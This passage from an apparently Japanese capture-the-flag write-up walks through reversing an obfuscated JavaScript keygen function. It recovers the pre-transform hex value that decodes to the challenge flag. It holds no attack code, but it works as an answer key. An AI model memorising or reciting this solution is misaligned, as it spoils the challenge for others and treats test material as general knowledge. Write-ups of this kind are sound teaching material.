let _0x19eb60 = ["9425749445e494332757363353f5d6f50353b79445d7336343270373270366f586365753f546c60336f5".slice(0x0, 0xe), "9425749445e494332757363353f5d6f50353b79445d7336343270373270366f586365753f546c60336f5".slice(0xe, 0x1c), "9425749445e494332757363353f5d6f50353b79445d7336343270373270366f586365753f546c60336f5".slice(0x1c, 0x2a), "9425749445e494332757363353f5d6f50353b79445d7336343270373270366f586365753f546c60336f5".slice(0x2a, 0x38), "9425749445e494332757363353f5d6f50353b79445d7336343270373270366f586365753f546c60336f5".slice(0x38, 0x46), "9425749445e494332757363353f5d6f50353b79445d7336343270373270366f586365753f546c60336f5".slice(0x46, 0x54)];
let _0x4c2f5e = [_0x19eb60[0x3], _0x19eb60[0x5], _0x19eb60[0x1], _0x19eb60[0x4], _0x19eb60[0x2], _0x19eb60[0x0]];
let _0x22e526 = _0x4c2f5e.join('').split('').reverse().join('');
let _0x2051e9 = hexToBytes(_0x22e526);
let _0x351569 = _0x2051e9.map(_0x585a6f => (0x9 * _0x585a6f + 0x7) % 0x100 ^ 0x33);
return _0x351569.map(_0x5ca89b => ('0' + _0x5ca89b.toString(0x10)).slice(-0x2)).join('');
}
ためしにkeygen
を実行してみると、
abf6c8abb5daabc8ab69d7846def17b19c6dae843a6dd7e1b1173ae16db184e0b86dd7c5843ae8dee15f
という値が返却された。この16進数はASCII文字に変換してもとくに意味はわからなかった。
index.html内の
Please use your standalone decryption device to complete the recovery!
というヒントを元に、アフィン変換→XORと変形する直前(_0x22e526の値)を読み込んでみると、
494e544947524954497b35305f6d7563685f6630725f3533637572335f63306c645f353730723436337d
という値だった。これをCyerchefで変換してみたら、フラグが出力された。
Discussion